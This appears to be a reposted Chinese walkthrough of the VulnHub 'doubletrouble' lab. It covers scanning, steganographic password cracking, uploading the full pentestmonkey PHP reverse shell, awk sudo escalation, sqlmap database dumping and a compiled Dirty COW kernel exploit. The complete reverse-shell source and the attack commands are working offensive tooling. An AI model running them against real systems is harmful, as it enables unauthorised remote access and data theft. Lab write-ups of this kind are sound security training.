vulnhub靶机doubletrouble

下载地址:doubletrouble: 1 ~ VulnHub

主机发现

arp-scan -l

端口扫描

nmap --min-rate 1000 -p- 192.168.21.151

端口服务扫描

nmap -sV -sT -O -p22,80 192.168.21.151

漏洞扫描

nmap --script=vuln -p22,80 192.168.21.151

先去看看web页面

这里使用的是qdpm

找一下漏洞

接下来弄一下网站的目录

dirsearch -u http://192.168.21.151

找一下不是模板的文件夹

估计要从这个图片入手了,先下载下来

文件西安基础的看一下

用一下新的工具试试

需要密码

那就爆破一下看看行不行

搞定

去看看这个文件

这个就是登入的账号密码了

发现上传点

那就简单的找一个reverse吧,网上随便找

反弹shell脚本(php-reverse-shell)_落寞的魚丶的博客-CSDN博客

<?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only.  Users take full responsibility// for any actions performed using this tool.  The author accepts no liability// for damage caused by this tool.  If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only.  Users take full responsibility// for any actions performed using this tool.  If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '127.0.0.1';  // CHANGE THIS$port = 1234;       // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies.  Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";}}?>

记得改ip我忘了

上传就可以

访问就可以(前文的uploads里面)

上传的时候会有报错回显不管就行

访问

记得开netcat

搞定

改一下shell

python -c 'import pty;pty.spawn("/bin/bash")'

信息收集

此时是用root运行的awk

去GTFOBins看一下

拿下

发现root里面不是flag而是一个ova下载下来

在靶机里面开一个http服务

再开一个靶机

主机发现

arp-scan -l

目标192.168.21.162

端口扫描

nmap --min-rate 1000 -p- 192.168.21.162

端口服务扫描

nmap -sV -sT -O -p22,80 192.168.21.162

漏洞扫描

nmap --script=vuln -p22,80 192.168.21.162

去web看看

先试试上面没扫全这个是自己写的大概率有sql

根据提示看到这里确实有问题

直接一把梭

sqlmap -u http://192.168.21.162/index.php --batch --forms -dbs

sqlmap -u http://192.168.21.162/index.php --batch --forms -D doubletrouble –tables

sqlmap -u http://192.168.21.162/index.php --batch --forms -D doubletrouble -T users –columns

sqlmap -u http://192.168.21.162/index.php --batch --forms -D doubletrouble -T users -C username,password –dump

Ssh登入

登入只有一个成功

信息收集

干干净净(linux3.2有洞,利用就行)

复制到桌面

执行建议web

下载文件

编译

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

执行40847

搞定

切换账户

结束

拿下!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/149853.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

提升您的 Go 应用性能的 6 种方法

优化您的 Go 应用程序 1. 如果您的应用程序在 Kubernetes 中运行&#xff0c;请自动设置 GOMAXPROCS 以匹配 Linux 容器的 CPU 配额 Go 调度器 可以具有与运行设备的核心数量一样多的线程。由于我们的应用程序在 Kubernetes 环境中的节点上运行&#xff0c;当我们的 Go 应用程…

探秘布隆过滤器:高效数据查找与去重利器

探秘布隆过滤器&#xff1a;高效数据查找与去重利器 引言 在现代计算机科学中&#xff0c;数据的查找与去重是一个至关重要的问题。本文将介绍一种高效的数据结构——布隆过滤器&#xff0c;它能够在海量数据中快速判断某个元素是否存在&#xff0c;同时具有出色的空间效率。…

【数据恢复篇】浅谈FTK Imager数据恢复功能

【数据恢复篇】浅谈FTK Imager数据恢复功能 日常取证工作中&#xff0c;常用FTK Imager制作磁盘镜像、挂载镜像等&#xff0c;但FTK Imager的数据恢复功能也是非常强大的&#xff0c;某些数据的恢复效果不输专业的数据恢复软件&#xff0c;甚至略胜一筹—【蘇小沐】 文章目录 …

突破封锁|华为芯片10年进化史:从K3V1到麒麟9000S

华为海思麒麟芯片过去10年研发历程回顾如下&#xff1a; 2009年&#xff1a;华为推出第一款手机芯片K3V1&#xff0c;采用65nm工艺制程&#xff0c;基于ARM11架构&#xff0c;主频600MHz&#xff0c;支持WCDMA/GSM双模网络。这款芯片搭载在华为U8800手机上&#xff0c;标志着华…

【BBC新闻文章分类】使用 TF 2.0和 LSTM 的文本分类

一、说明 NLP上的许多创新是如何将上下文添加到词向量中。常见的方法之一是使用递归神经网络

[C国演义] 第十三章

第十三章 三数之和四数之和 三数之和 力扣链接 根据题目要求: 返回的数对应的下标各不相同三个数之和等于0不可包含重复的三元组 – – 即顺序是不做要求的 如: [-1 0 1] 和 [0, 1, -1] 是同一个三元组输出答案顺序不做要求 暴力解法: 排序 3个for循环 去重 — — N^3, …

C语言-字符串与输入输出

一、字符串 1、字符串简介 在 C 语言中&#xff0c;字符串实际上是使用空字符 \0 结尾的一维字符数组。因此&#xff0c;\0 是用于标记字符串的结束。 空字符&#xff08;Null character&#xff09;又称结束符&#xff0c;缩写 NUL&#xff0c;是一个数值为 0 的控制字符&…

第一课数组、链表、栈、队列

第一课数组、链表、栈、队列 acwing136 邻值查找---中等题目描述代码展示 lc20.有效的括号--简单题目描述代码展示 lc25.K 个一组翻转链表--困难题目描述代码展示 lc26.删除有序数组中的重复项--简单题目描述代码展示 lc88.合并两个有序数组--简单题目描述代码展示 lc141.环形链…

Java常见API---split()

package daysreplace;public class SplitTest {public static void main(String[] args) {String str"武汉市|孝感市|长沙市|北京市|上海市";String[] array str.split("\\|");System.out.println(array[0]);System.out.println(array[1]);System.out.pri…

Python数据容器——集合的相关操作

作者&#xff1a;Insist-- 个人主页&#xff1a;insist--个人主页 本文专栏&#xff1a;Python专栏 专栏介绍&#xff1a;本专栏为免费专栏&#xff0c;并且会持续更新python基础知识&#xff0c;欢迎各位订阅关注。 目录 一、理解集合 1. 集合是什么&#xff1f; 2. 为什么…

好奇喵 | Tor浏览器——访问.onion网址,揭开Dark Web的神秘面纱

前言 在之前的博客中&#xff1a; 1.Surface Web —&#xff1e; Deep Web —&#xff1e; Dark Web&#xff0c;我们解释了表层网络、深层网络等的相关概念&#xff1b; 2.Tor浏览器——层层剥开洋葱&#xff0c;我们阐述了Tor的历史和基本工作原理&#xff1b; 3.Tor浏览器…

【亲测有效】C盘容量满了,给C盘扩容!!!

前言 相信有很多小伙伴用自己电脑的时候明明不往C盘装东西&#xff0c;但是C盘还是慢慢的变红了&#xff0c;我也是因为C盘满了而备受困扰。又不知道如何解决或者怕自己鼓捣着磁盘数据没了。闲来无事&#xff0c;我查了一些资料&#xff0c;终于将我的C盘容量扩充了且数据保存…

基于Java的在线教育平台设计与实现(源码+lw+ppt+部署文档+视频讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

分享几个优秀开源免费管理后台模版,建议收藏!

大家好&#xff0c;我是 jonssonyan 今天和大家分享一些免费开源的后台管理页面&#xff0c;帮助大家快速搭建前端页面。为什么要用模板&#xff1f;道理很简单&#xff0c;原因是方便我们快速开发。我们不应该花太多的时间在页面调整上&#xff0c;而应该把精力放在核心逻辑和…

CDN网络基础入门:CDN原理及架构

背景 互联网业务的繁荣让各类门户网站、短视频、剧集观看、在线教育等内容生态快速发展&#xff0c;互联网流量呈现爆发式增长&#xff0c;自然也面临着海量内容分发效率上的挑战&#xff0c;那么作为终端用户&#xff0c;我们获取资源的体验是否有提升呢&#xff1f; 答案是…

嵌入式学习笔记(47)Nand的常见操作及流程分析

9.3.1坏块检查 (1)Flash使用之前一定要先统一擦除&#xff08;擦除的单元是块&#xff09;。Flash类设备擦除后里边全是1&#xff0c;所以擦干净之后读出来的值是0xFF (2)检查坏块的思路就是&#xff1a;先擦除&#xff0c;然后将整个块读出来&#xff0c;依次检测各字节是否…

基于Java的个性化旅游攻略系统设计与实现(源码+lw+ppt+部署文档+视频讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

如何使用 Overleaf 编写 LaTeX 文档

如何使用 Overleaf 编写 LaTeX 文档 &#x1f607;博主简介&#xff1a;我是一名正在攻读研究生学位的人工智能专业学生&#xff0c;我可以为计算机、人工智能相关本科生和研究生提供排忧解惑的服务。如果您有任何问题或困惑&#xff0c;欢迎随时来交流哦&#xff01;&#x1f…

使用Python爬虫抓取网站资源的方法

Python爬虫是一种自动化程序&#xff0c;用于从互联网上获取数据。使用Python爬虫可以轻松地抓取网站上的各种资源&#xff0c;例如文本、图片、视频等。在本文中&#xff0c;我们将介绍如何使用Python爬虫抓取网站资源。 安装Python 在使用Python爬虫之前&#xff0c;需要先安…

vector的介绍以及使用方式

目录 前言 1.vector的介绍 2.构造函数 3.迭代器 4.vector空间增长问题 5.vector的增删改查 6.vector迭代器失效问题 总结 前言 即我们的string之后&#xff0c;今天小编给大家要介绍一个我们stl中另外一个常用的容器vector&#xff0c;和我们的string一样我们的vector…